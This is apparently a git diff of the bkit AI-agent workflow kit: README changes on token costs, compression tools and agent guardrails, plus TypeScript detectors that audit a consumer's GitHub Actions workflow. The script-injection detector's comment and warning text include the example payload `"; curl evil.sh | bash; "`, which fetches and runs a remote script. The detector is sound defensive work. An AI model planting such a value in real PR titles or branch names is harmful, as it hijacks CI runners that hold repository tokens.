- **A fix that doesn't work comes back to you.** After one automatic fix round, build asks before trying again, with a report: problems per round, code changed, and whether it's closing in, stuck or getting worse. Each place a run can ask has its own setting under `bkit.workflows` in `package.json`: whether to ask, and a hard limit (2 attempts by default) that no answer can raise.
|
|
310
|
+
- **Questions don't stall the build.** When build needs your decision, it keeps working on the tasks the question doesn't touch. With nobody at the keyboard, it goes ahead on its own recommendation, marks it as assumed, and won't merge until you confirm it.
|
|
300
311
|
- **Guardrails on the AI itself.** Dangerous commands like force-pushing or rewriting history are blocked, private keys can't be read, and each agent only gets the tools its job needs. [What each guard does](.bkit/providers.md#guardrails) and [what it tells agents](.bkit/prompts.md#hook-injected-text).
|
|
301
312
|
|
|
302
313
|
<a id="token-costs"></a>
|
|
@@ -305,17 +316,27 @@ All templates, what each is for, and how to install them: [`.bkit/templates.md`]
|
|
|
305
316
|
|
|
306
317
|
<p align="center">
|
|
307
318
|
<picture>
|
|
308
|
-
<source media="(prefers-color-scheme: dark)" srcset=".github/assets/bkit-
|
|
309
|
-
<img alt="Compression
|
|
319
|
+
<source media="(prefers-color-scheme: dark)" srcset=".github/assets/bkit-reread-dark.svg">
|
|
320
|
+
<img alt="Compression shrinks the output; bkit stops the re-reading. What a coding agent reads on each request, across 13.5 million GitHub Copilot sessions: 72 percent is re-reading on every request, the conversation so far at 48 percent, the system prompt at 14 percent and instructions and other context at 10 percent, which is what bkit cuts; 28 percent is tool output, all a compressor can touch. The best published compression result on Claude Code took 2.7 percent off the whole bill, and another tool added 48 percent. The model's own writing is about 1 token for every 100 to 275 it reads. Sources: Liu et al., GitHub Copilot at production scale, 2026; Weinberger and Hozez, 2,848 Claude Code runs, 2026; Manus, 2025. An agent's cost is the area under its context line: each request re-sends the whole conversation, and a token costs the same at 900 thousand as at 9 thousand, but a turn at 900 thousand sends 100 times as many. In an illustration of the same work drawn both ways, today one agent runs until about 967 thousand tokens, where Claude Code summarises it and drops detail; bkit hands over to a fresh agent with a short brief in the 80 to 170 thousand band, where practitioners say to start fresh. What published work finds: 11 of 13 models score under half their short-context result by 32 thousand tokens (NoLiMa, ICML 2025); a context should get no more than 40 to 60 percent full before you start a fresh one (HumanLayer, 2025); a sub-agent hands back 1 to 2 thousand tokens from tens of thousands it read (Anthropic, 2025); all 18 models Chroma tested got worse as their context grew. Measure your own runs: bkit records the tokens each agent read in .bkit/stats.jsonl, and bkit stats writes a report of your runs to .bkit/stats.md. How bkit reads less: fresh agents with short briefs, never the whole plan, none past 160 thousand tokens; code does the bookkeeping, so ledger rows, test-first order, summaries and resume points come from bkit commands with the same answer every time; one round, then you decide; each agent carries only its own rules." src=".github/assets/bkit-reread-light.svg" width="100%">
|
|
310
321
|
</picture>
|
|
311
322
|
</p>
|
|
312
323
|
|
|
313
|
-
**Most of what a session costs is the model re-reading, not writing code.** On every request, Claude Code sends the system prompt, rules, tool list and the whole conversation so far, and the model reads all of it again. Across
|
|
324
|
+
**Most of what a session costs is the model re-reading, not writing code.** On every request, Claude Code sends the system prompt, rules, tool list and the whole conversation so far, and the model reads all of it again. Across 13.5M GitHub Copilot agent sessions, the conversation so far was 48% of what the model read on each request, tool output 28%, the system prompt 14% and instructions and other context 10%. The model read more than 275 tokens for every 1 it wrote ([Liu et al.](https://arxiv.org/abs/2608.00101); [Manus](https://manus.im/en/blog/Context-Engineering-for-AI-Agents-Lessons-from-Building-Manus) reports about 100 to 1). Most of that reading comes from the cache, and cache reads are the largest part of an agent's bill ([Bai et al.](https://arxiv.org/abs/2604.22750)).
|
|
314
325
|
|
|
315
|
-
**
|
|
326
|
+
**That makes an agent's cost grow with how long it runs.** Each request re-sends everything so far. A token costs the same at 900k as at 9k ([Anthropic pricing](https://platform.claude.com/docs/en/about-claude/pricing#long-context-pricing)), but a turn at 900k sends 100 times as many, so every turn costs more than the last. Left alone, an agent keeps going until about 967k, where Claude Code summarises it and drops detail ([model configuration](https://code.claude.com/docs/en/model-config)). Quality slips long before that: every model in [Chroma's context-rot study](https://www.trychroma.com/research/context-rot) got worse as its input grew, and in [NoLiMa](https://arxiv.org/abs/2502.05167) most models fell below half their short-input score by 32k. Practitioners advise starting fresh at around 40–60% of a 200k window ([HumanLayer](https://humanlayer.dev/blog/advanced-context-engineering)), and Anthropic's own sub-agents hand back 1–2k tokens from tens of thousands they read ([Anthropic](https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents)). bkit does that: a fresh agent with a short brief takes over by about 160k, so no agent carries a long history. Most of what an agent reads is cheap cache reads, so the dollar saving is smaller than the token saving.
|
|
316
327
|
|
|
317
|
-
|
|
318
|
-
|
|
328
|
+
**Measure it on your own work.** Every bkit run records the tokens each agent read in `.bkit/stats.jsonl`, and `bkit stats` writes a report of your runs to `.bkit/stats.md`. Compare them with your own runs without bkit.
|
|
329
|
+
|
|
330
|
+
**Why bkit doesn't use compression tools.** They shorten the output of commands and file reads before the model sees it. That's only part of what an agent reads, and most of it is code the agent needs word for word, so there's little a tool can safely cut. The re-reading of everything else stays. An independent test of 2,848 Claude Code runs found the same: RTK cut the whole bill by 2.7%, and Headroom raised it by 48% ([Weinberger & Hozez](https://arxiv.org/abs/2607.12161)). In our tests, the tools that saved most did it by changing what the agent reads: one made an agent answer a question wrongly; another rewrote code.
|
|
331
|
+
|
|
332
|
+
**The three tools, how we measured, and why the risks outweigh the saving.**
|
|
333
|
+
|
|
334
|
+
<p align="center">
|
|
335
|
+
<picture>
|
|
336
|
+
<source media="(prefers-color-scheme: dark)" srcset=".github/assets/bkit-tokens-dark.svg">
|
|
337
|
+
<img alt="Compression saves 1 to 3 percent; the risks cost more. Where Claude Code's cost goes across 456 real bkit transcripts: 69 percent is the model re-reading the system prompt, rules, tool list and conversation on every request; 4 percent is the model's own writing; 27 percent is big tool output, the only part a compressor can touch; the tools remove 1 to 3 percent of the bill. What you gain: 1 to 3 percent of the bill saved, big cuts on huge logs, prompt cache intact. What it costs you: wrong answers from compressed logs, broken code when lines are rewritten or cut, hidden content that costs tokens to fetch back, silent failures that turn compression off, a proxy that sees all your model traffic, and clashes with bkit's own setup." src=".github/assets/bkit-tokens-light.svg" width="100%">
|
|
338
|
+
</picture>
|
|
339
|
+
</p>
|
|
319
340
|
|
|
320
341
|
<!-- prettier-ignore -->
|
|
321
342
|
| Tool | How it works | Share of the bill saved | What went wrong |
|
|
@@ -328,10 +349,12 @@ All templates, what each is for, and how to install them: [`.bkit/templates.md`]
|
|
|
328
349
|
|
|
329
350
|
**Why the risks outweigh the saving, for now.** The saving is real but small, and the tools that save most get there by changing what the agent reads. An agent reading a shortened log can answer wrongly. An edit quoting a rewritten or cut-off line won't match the file. Either way the agent goes round again, and every extra round re-reads the whole conversation, so it doesn't take many to wipe out a 1–3% saving. On top of that, a proxy sees all your model traffic, and when one of these tools breaks, it tends to switch itself off without telling you. That could change if a tool learns to leave code alone and fail loudly.
|
|
330
351
|
|
|
331
|
-
</details>
|
|
332
|
-
|
|
333
352
|
**What bkit does instead: read less.** Cutting what gets read loses nothing, and a line an agent never reads is a line it never re-reads on every later request.
|
|
334
353
|
|
|
354
|
+
- **Fresh agents with short briefs.** Build hands each group of tasks to a new agent with a brief of a few KB that `bkit` cuts from the plan, never the whole plan. No agent runs past about 160k tokens: it hands over to a fresh one.
|
|
355
|
+
- **Code does the bookkeeping.** Anything with one right answer comes from a `bkit` command, not a model turn: ledger rows, whether a test failed before its code was written, run summaries, where a stopped run resumes, how many fix rounds a step has had. That saves the turns, and code gives the same answer every time, on every tool and every model.
|
|
356
|
+
- **Fewer rounds.** One plan review round, with two reviewers and a scope check side by side. One automatic fix round, then you decide. On a small change, build runs only the security reviewer.
|
|
357
|
+
- **Each agent carries only its own rules.** bkit's rules sit in the prompts of the agents that act on them, and plans hold tasks, not pages of instructions.
|
|
335
358
|
- **Find the definition first, then read only those lines.** Reading files through the shell (`sed`, `grep`, `cat`) was about 60% of what shell output cost in our transcripts. A whole file can be thousands of lines when the change needs ten.
|
|
336
359
|
- **List matching files first, then search inside them.** A broad search can return hundreds of lines the agent never needed, and they stay in the conversation.
|
|
337
360
|
- **Ask commands, APIs and databases for short, structured output.** An unfiltered log or API response can run to thousands of lines, re-read on every later request.
|
|
@@ -347,7 +370,7 @@ All templates, what each is for, and how to install them: [`.bkit/templates.md`]
|
|
|
347
370
|
- **Set up Serena,** so agents ask where code is defined and what uses it, like your editor does. That's cheaper than reading whole files, and it doesn't miss callers that text search would.
|
|
348
371
|
- **Switch off claude.ai connectors** (MCP servers from your claude.ai account) in Claude Code for this project: `"disableClaudeAiConnectors": true` in `.claude/settings.json`. Otherwise their tool lists are re-sent with every request, used or not.
|
|
349
372
|
- **Lock MCP servers to this project.** A server that can see your whole account makes agents look up account and project IDs before every task; locked, those extra calls disappear.
|
|
350
|
-
- **Summarise long sessions earlier:** `"autoCompactWindow": 300000` in `.claude/settings.json`, or `model_auto_compact_token_limit` in `.codex/config.toml`. By default a session grows close to the model's full size before it summarises, and every request re-reads all of it. Summaries lose some detail, so bkit suggests this rather than setting it.
|
|
373
|
+
- **Summarise long sessions earlier:** `"autoCompactWindow": 300000` in `.claude/settings.json`, or `model_auto_compact_token_limit` in `.codex/config.toml`. By default a session grows close to the model's full size before it summarises, and every request re-reads all of it. Summaries lose some detail, so for your main session bkit suggests this rather than setting it. bkit's own Claude Code subagents already summarise at 300,000 tokens at the latest.
|
|
351
374
|
|
|
352
375
|
## FAQ
|
|
353
376
|
|
|
@@ -382,17 +405,17 @@ No. [bkit Vibecoding Kit](https://github.com/popup-studio-ai/bkit-claude-code) i
|
|
|
382
405
|
Feature by feature against the main AI development frameworks, from spec toolkits to autonomous agents: [`.bkit/comparison.md`](.bkit/comparison.md#frameworks).
|
|
383
406
|
|
|
384
407
|
**Why doesn't bkit use a compression tool like caveman, Headroom or RTK?**
|
|
385
|
-
On real bkit sessions they saved 1–3% of the bill, and each changes what the agent reads in ways that can lead to wrong answers or broken edits. bkit cuts reading instead, which loses nothing. Numbers, risks and what bkit does instead: [Spending fewer tokens](#token-costs).
|
|
408
|
+
On real bkit sessions they saved 1–3% of the bill, and each changes what the agent reads in ways that can lead to wrong answers or broken edits. bkit cuts the re-reading instead, with shorter agents, short briefs and code doing the bookkeeping, which loses nothing. Numbers, risks and what bkit does instead: [Spending fewer tokens](#token-costs).
|
|
386
409
|
|
|
387
410
|
<details>
|
|
388
411
|
<summary><strong>For engineers: what's under the hood</strong></summary>
|
|
389
412
|
|
|
390
413
|
- **Isolation.** Every run gets its own git worktree; a per-feature lock blocks duplicate runs of the same feature. Bookkeeping reaches `dev` from a throwaway checkout of `origin/dev`, so it never touches your checkout; when another run moved `dev` first, it rebuilds and pushes again. No repo-wide lock.
|
|
391
|
-
- **Resume from state, not session.** Run state lives in `status.jsonl` and `docs/plans/`. A crashed or interrupted run resumes from its last completed step, on any host.
|
|
392
|
-
- **Mechanical step gates.** `bkit steps finish` checks each step's verdict and artifacts before the workflow moves on; build ticks a task only on a confirmed artifact; ship's deferred sweep fails the merge on an unplanned gap.
|
|
393
|
-
- **Engine.** The `bkit` CLI is TypeScript in [`.bkit/core/engine/`](.bkit/core/engine/), built to `dist/`, covered by 5,800+ tests. `commands/` holds what you type; `install/`, `render/`, `checks/`, `ledgers/` and `shared/` hold the code underneath; `audits/` holds the tests that read shipped text.
|
|
414
|
+
- **Resume from state, not session.** Run state lives in `status.jsonl` and `docs/plans/`. A crashed or interrupted run resumes from its last completed step, on any host; `bkit` works out which step from `status.jsonl`, so no prompt describes the rule.
|
|
415
|
+
- **Mechanical step gates.** `bkit steps finish` checks each step's verdict and artifacts before the workflow moves on; build ticks a task only on a confirmed artifact, and checks test-first order before the next task group starts; ship's deferred sweep fails the merge on an unplanned gap.
|
|
416
|
+
- **Engine.** The `bkit` CLI is TypeScript in [`.bkit/core/engine/`](.bkit/core/engine/), built to `dist/`, covered by 5,800+ tests. `commands/` holds what you type; `install/`, `render/`, `checks/`, `ledgers/` and `shared/` hold the code underneath; `audits/` holds the tests that read shipped text. **Facts are code, judgement is the model:** anything with one right answer (ledger rows, briefs, summaries, resume points, fix-round limits, run stats) is a `bkit <noun> <verb>` command, so the workflow prompts hold only the decisions.
|
|
394
417
|
- **One source, every host.** `.bkit/` renders `.claude/`, `.cursor/`, `.codex/`, `.agents/` (Antigravity) and `.opencode/`. `bkit check` is the CI drift gate.
|
|
395
|
-
- **Reviewer independence.** Parallel reviewers can't read sibling output. Design brainstorm
|
|
418
|
+
- **Reviewer independence.** Parallel reviewers can't read sibling output. Design brainstorm and design review groups also cross models (Opus + Sonnet on Claude; Grok + Composer on Cursor); depth-sensitive lenses (plan review, build challenge) stay on the top tier.
|
|
396
419
|
- **Per-agent pins.** Model and effort per agent, per provider ([`.bkit/prompts.md`](.bkit/prompts.md) § Models), immune to the session default.
|
|
397
420
|
- **Against the literature.** bkit fully implements 13 of the 22 patterns in Antonio Gulli's _Agentic Design Patterns_, partly implements 7 (scoped to shipping code), leaves 2 out by design, and goes beyond the book in 8 places. Full mapping: [patterns comparison](.bkit/comparison.md#patterns), with [where bkit goes beyond the book](.bkit/comparison.md#beyond-the-book) and its [known gaps](.bkit/comparison.md#known-gaps). Every agent in execution order: [pipeline reference](.bkit/pipeline.md).
|
|
398
421
|
|
|
@@ -411,6 +434,7 @@ On real bkit sessions they saved 1–3% of the bill, and each changes what the a
|
|
|
411
434
|
| [`.bkit/templates.md`](.bkit/templates.md) | Templates ready to adopt |
|
|
412
435
|
| [`.bkit/lite.md`](.bkit/lite.md) | Lite workflows: shorter prompts for small changes |
|
|
413
436
|
| [`.bkit/pipeline.md`](.bkit/pipeline.md) | Every agent in the order it runs, the CI scaffold, every audit template |
|
|
437
|
+
| [`.bkit/authoring.md`](.bkit/authoring.md) | Rules for writing docs, prompts and workflows |
|
|
414
438
|
| [`.bkit/comparison.md`](.bkit/comparison.md) | Comparison with other AI development frameworks and with _Agentic Design Patterns_ |
|
|
415
439
|
| [`CHANGELOG.md`](CHANGELOG.md) | What changed in each release |
|
|
416
440
|
|
|
@@ -435,7 +459,7 @@ pnpm bkit install --claude # pick your tools: --claude --cursor --codex --ant
|
|
|
435
459
|
Adopt the [templates](#templates) you want from `.bkit/templates/`, open an issue, and run the first step from your AI tool:
|
|
436
460
|
|
|
437
461
|
```text
|
|
438
|
-
/bkit-design
|
|
462
|
+
/bkit-design issue #123
|
|
439
463
|
```
|
|
440
464
|
|
|
441
465
|
Already know exactly what to build? Start at `/bkit-plan`. Something broken? `/bkit-debug`; add `[repro]` if nothing fails yet, and it writes the failing test first.
|
|
@@ -5,6 +5,7 @@ import * as fs from "node:fs";
|
|
|
5
5
|
import * as path from "node:path";
|
|
6
6
|
import { readJsonFile } from "../../shared/json.js";
|
|
7
7
|
import { readPackageJson } from "../../shared/package-json.js";
|
|
8
|
+
import { ciWorkflowPath, readBkitConfig } from "../../shared/settings.js";
|
|
8
9
|
import { isAdvisorySuppressed } from "./suppression.js";
|
|
9
10
|
// ---------------------------------------------------------------------------
|
|
10
11
|
// Other post-install detectors
|
|
@@ -43,23 +44,25 @@ export function detectBkitCloudYmlAlwaysTrueGate(cwd) {
|
|
|
43
44
|
};
|
|
44
45
|
}
|
|
45
46
|
/**
|
|
46
|
-
* Matches a
|
|
47
|
+
* Matches a CI workflow (`bkit.testing.ciWorkflow`) copied from the bkit-ci.yml template: an uncommented
|
|
47
48
|
* job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
|
|
48
49
|
* carries.
|
|
49
50
|
*/
|
|
50
51
|
const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
|
|
51
52
|
/**
|
|
52
|
-
* Detect a
|
|
53
|
+
* Detect a CI workflow (`bkit.testing.ciWorkflow`, default `bkit-ci.yml`) adopted from bkit's
|
|
54
|
+
* template with no `actionlint` step.
|
|
53
55
|
* `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
|
|
54
56
|
* but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
|
|
55
57
|
* scalars). actionlint is GHA-aware and catches that class.
|
|
56
58
|
*
|
|
57
59
|
* Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
|
|
58
|
-
*
|
|
60
|
+
* The CI workflow is the consumer's file, so `bkit install` never adds the step — the action
|
|
59
61
|
* inlines the manual step.
|
|
60
62
|
*/
|
|
61
63
|
export function detectCiYmlMissingActionlint(cwd) {
|
|
62
|
-
const
|
|
64
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
65
|
+
const ciPath = path.join(cwd, ciRel);
|
|
63
66
|
if (!fs.existsSync(ciPath))
|
|
64
67
|
return null;
|
|
65
68
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
@@ -70,10 +73,10 @@ export function detectCiYmlMissingActionlint(cwd) {
|
|
|
70
73
|
return {
|
|
71
74
|
id: "ci-yml-missing-actionlint",
|
|
72
75
|
severity: "advisory",
|
|
73
|
-
detect:
|
|
74
|
-
|
|
76
|
+
detect: `${ciRel} (adopted from bkit's template) has no actionlint step. ` +
|
|
77
|
+
"yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
|
|
78
|
+
action: `Add an actionlint step among the static checks in ${ciRel} (before the test/build group):\n\n` +
|
|
75
79
|
" - name: Run actionlint\n" +
|
|
76
|
-
" if: steps.cache.outputs.skip != 'true'\n" +
|
|
77
80
|
" run: |\n" +
|
|
78
81
|
' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
|
|
79
82
|
' bash "$RUNNER_TEMP/download-actionlint.bash" 1.7.12 "$RUNNER_TEMP"\n' +
|
|
@@ -82,11 +85,11 @@ export function detectCiYmlMissingActionlint(cwd) {
|
|
|
82
85
|
}
|
|
83
86
|
/**
|
|
84
87
|
* Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
|
|
85
|
-
* body in
|
|
88
|
+
* body in the CI workflow (`bkit.testing.ciWorkflow`) — the classic GHA script-injection sink. A PR titled
|
|
86
89
|
* `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
|
|
87
90
|
* (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
|
|
88
91
|
* the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
|
|
89
|
-
* re-parses them as shell).
|
|
92
|
+
* re-parses them as shell). The CI workflow is the consumer's file — bkit's template was hardened but
|
|
90
93
|
* nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
|
|
91
94
|
* This surfaces it as a dedicated security finding.
|
|
92
95
|
*
|
|
@@ -94,10 +97,11 @@ export function detectCiYmlMissingActionlint(cwd) {
|
|
|
94
97
|
* indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
|
|
95
98
|
* `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
|
|
96
99
|
* not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
|
|
97
|
-
* silent. Only scans a
|
|
100
|
+
* silent. Only scans a CI workflow adopted from bkit's template (ADOPTED_CI_JOB_RE).
|
|
98
101
|
*/
|
|
99
102
|
export function detectCiYmlRunInjection(cwd) {
|
|
100
|
-
const
|
|
103
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
104
|
+
const ciPath = path.join(cwd, ciRel);
|
|
101
105
|
if (!fs.existsSync(ciPath))
|
|
102
106
|
return null;
|
|
103
107
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
@@ -150,7 +154,7 @@ export function detectCiYmlRunInjection(cwd) {
|
|
|
150
154
|
return {
|
|
151
155
|
id: "ci-yml-run-injection",
|
|
152
156
|
severity: "advisory",
|
|
153
|
-
detect:
|
|
157
|
+
detect: `SECURITY: ${ciRel} interpolates untrusted GitHub Actions input ` +
|
|
154
158
|
"(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
|
|
155
159
|
'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
|
|
156
160
|
`runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
|
|
@@ -167,25 +171,29 @@ export function detectCiYmlRunInjection(cwd) {
|
|
|
167
171
|
};
|
|
168
172
|
}
|
|
169
173
|
/**
|
|
170
|
-
* Detect drift of the consumer's
|
|
171
|
-
*
|
|
174
|
+
* Detect drift of the consumer's capstone job (`bkit.testing.ciCapstone`, default
|
|
175
|
+
* `bkit-tests-check`) from bkit's canonical CI contract. The CI workflow
|
|
176
|
+
* (`bkit.testing.ciWorkflow`) is the consumer's copy of a template; bkit never rewrites it.
|
|
172
177
|
* WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
|
|
173
|
-
* "differs from canonical". Fires when
|
|
178
|
+
* "differs from canonical". Fires when the CI workflow defines the capstone job (the
|
|
174
179
|
* template ships one).
|
|
175
180
|
*
|
|
176
181
|
* Every check reads `code` (full-line comments stripped): the template's commented
|
|
177
182
|
* scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
|
|
178
183
|
*/
|
|
179
184
|
export function detectCiYmlCapstoneContractDrift(cwd) {
|
|
180
|
-
const
|
|
185
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
186
|
+
const ciPath = path.join(cwd, ciRel);
|
|
181
187
|
if (!fs.existsSync(ciPath))
|
|
182
188
|
return null;
|
|
189
|
+
const capstone = readBkitConfig(cwd).capstoneJob;
|
|
183
190
|
const content = fs.readFileSync(ciPath, "utf-8");
|
|
184
191
|
const code = content
|
|
185
192
|
.split("\n")
|
|
186
193
|
.filter((line) => !/^\s*#/.test(line))
|
|
187
194
|
.join("\n");
|
|
188
|
-
|
|
195
|
+
const capstoneJobRe = new RegExp(`^\\s+${capstone.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}:`, "m");
|
|
196
|
+
if (!capstoneJobRe.test(code))
|
|
189
197
|
return null; // no capstone job
|
|
190
198
|
const missing = [];
|
|
191
199
|
// 1. Capstone must run on !cancelled() (NOT always()) — else a concurrency-cancel
|
|
@@ -221,8 +229,8 @@ export function detectCiYmlCapstoneContractDrift(cwd) {
|
|
|
221
229
|
return {
|
|
222
230
|
id: "ci-yml-capstone-contract-drift",
|
|
223
231
|
severity: "advisory",
|
|
224
|
-
detect:
|
|
225
|
-
|
|
232
|
+
detect: `${ciRel} (adopted from bkit's template) has a ${capstone} capstone missing ${missing.length} ` +
|
|
233
|
+
`load-bearing invariant(s) from bkit's canonical CI contract. ${ciRel} is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.`,
|
|
226
234
|
action: "Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
|
|
227
235
|
missing.map((m) => " - " + m).join("\n"),
|
|
228
236
|
};
|
|
@@ -359,7 +367,7 @@ function tagUsedInTestTitle(text, tag, mask) {
|
|
|
359
367
|
* declares the script); a silent no-op otherwise. WARNING-only; the capstone's
|
|
360
368
|
* `run_live => live_ran > 0` assertion is the runtime check.
|
|
361
369
|
*
|
|
362
|
-
* A package whose own `package.json` opts out (`bkit.
|
|
370
|
+
* A package whose own `package.json` opts out (`bkit.advisories.ignore`) is dropped from the
|
|
363
371
|
* list and reported via `onSuppressed`; sibling packages keep flagging, because the finding
|
|
364
372
|
* aggregates every affected package into one entry.
|
|
365
373
|
*/
|
|
@@ -450,7 +458,7 @@ export function detectTaggedTestsWithoutCiHome(cwd, onSuppressed) {
|
|
|
450
458
|
lines.join("\n") +
|
|
451
459
|
'\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.' +
|
|
452
460
|
"\n\nFalse positive? A title that only MENTIONS the tag (a rule linter describing it, a meta/guard test naming the scenario) is indistinguishable from a real tagged test. Opt that package out in its package.json — per-package, and it drops only that package from this list:\n\n" +
|
|
453
|
-
' "bkit": { "
|
|
461
|
+
' "bkit": { "advisories": { "ignore": ["tagged-tests-no-ci-home"] } }',
|
|
454
462
|
};
|
|
455
463
|
}
|
|
456
464
|
// ---------------------------------------------------------------------------
|
|
@@ -510,7 +518,7 @@ export function detectTurboIntegrationInputs(cwd) {
|
|
|
510
518
|
* env-agnostic script provisioned at the lane), (3) the vitest integration config the
|
|
511
519
|
* script points at (home of the documented in-file guard).
|
|
512
520
|
*
|
|
513
|
-
* Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.
|
|
521
|
+
* Root-scoped opt-out: this detector reads only the root `package.json`, so a `bkit.advisories.ignore`
|
|
514
522
|
* entry there drops the finding and reports it via `onSuppressed`.
|
|
515
523
|
*/
|
|
516
524
|
export function detectTestIntegrationEnv(cwd, onSuppressed) {
|
|
@@ -573,7 +581,7 @@ export function detectTestIntegrationEnv(cwd, onSuppressed) {
|
|
|
573
581
|
" - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
|
|
574
582
|
" - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.\n\n" +
|
|
575
583
|
"Mocked by design (real-service coverage lives in E2E)? Opt out in the root package.json:\n\n" +
|
|
576
|
-
' "bkit": { "
|
|
584
|
+
' "bkit": { "advisories": { "ignore": ["test-integration-env-not-asserted"] } }',
|
|
577
585
|
};
|
|
578
586
|
}
|
|
579
587
|
/**
|
|
@@ -620,11 +628,13 @@ export function detectGhaFloatingTags(cwd) {
|
|
|
620
628
|
* system documented in deployments.md is documentation-only.
|
|
621
629
|
*
|
|
622
630
|
* "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
|
|
623
|
-
* sibling workflow or in
|
|
631
|
+
* sibling workflow or in the CI workflow itself. bkit's shipped steps only SET these outputs and
|
|
624
632
|
* the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
|
|
625
633
|
*/
|
|
626
634
|
export function detectRunLevelsNotComposed(cwd) {
|
|
627
|
-
const
|
|
635
|
+
const ciWorkflow = readBkitConfig(cwd).ciWorkflow;
|
|
636
|
+
const ciRel = ciWorkflowPath(cwd);
|
|
637
|
+
const ciPath = path.join(cwd, ciRel);
|
|
628
638
|
if (!fs.existsSync(ciPath))
|
|
629
639
|
return null;
|
|
630
640
|
const ciContent = fs.readFileSync(ciPath, "utf-8");
|
|
@@ -652,14 +662,14 @@ export function detectRunLevelsNotComposed(cwd) {
|
|
|
652
662
|
for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
|
|
653
663
|
if (!entry.isFile() || !/\.ya?ml$/.test(entry.name))
|
|
654
664
|
continue;
|
|
655
|
-
if (entry.name ===
|
|
665
|
+
if (entry.name === ciWorkflow)
|
|
656
666
|
continue; // checked below
|
|
657
667
|
if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
|
|
658
668
|
composed = true;
|
|
659
669
|
break;
|
|
660
670
|
}
|
|
661
671
|
}
|
|
662
|
-
// Or a consumer-added gate inside
|
|
672
|
+
// Or a consumer-added gate inside the CI workflow itself (e.g. an enabled bkit-stub:e2e block,
|
|
663
673
|
// or a deploy/job step reading the outputs).
|
|
664
674
|
if (!composed && composesRunLevels(ciContent))
|
|
665
675
|
composed = true;
|
|
@@ -668,11 +678,11 @@ export function detectRunLevelsNotComposed(cwd) {
|
|
|
668
678
|
return {
|
|
669
679
|
id: "run-levels-not-composed",
|
|
670
680
|
severity: "advisory",
|
|
671
|
-
detect:
|
|
681
|
+
detect: `${ciRel} ships bkit's \`Detect Direct Push\` step outputs (\`should_force_build\`, \`should_run_full\`, \`cache.outputs.skip\`) but no consumer-side workflow or step gates on them.`,
|
|
672
682
|
action: "`docs/deployments.md` documents bkit's none / partial / full run-level shape — the matrix is documentation-only until you compose at least one consumer-side gate. Examples:\n\n" +
|
|
673
683
|
" - A deploy job: `if: steps.detect.outputs.should_force_build == 'true' || github.ref == 'refs/heads/main'`\n" +
|
|
674
684
|
" - An E2E job: enable the `bkit-stub:e2e` block (which already gates on `should_run_full`).\n" +
|
|
675
685
|
" - A smoke workflow: copy the `bkit-stub:smoke` block to `.github/workflows/smoke.yml`.\n\n" +
|
|
676
|
-
|
|
686
|
+
`If your consumer doesn't need run-level tiers (single-track CI, no preview deploys), dismiss by removing the \`Detect Direct Push\` step from ${ciRel}. Note this also disables \`[force cache]\` / \`[force build]\` / \`[force full]\` tag detection.`,
|
|
677
687
|
};
|
|
678
688
|
}
|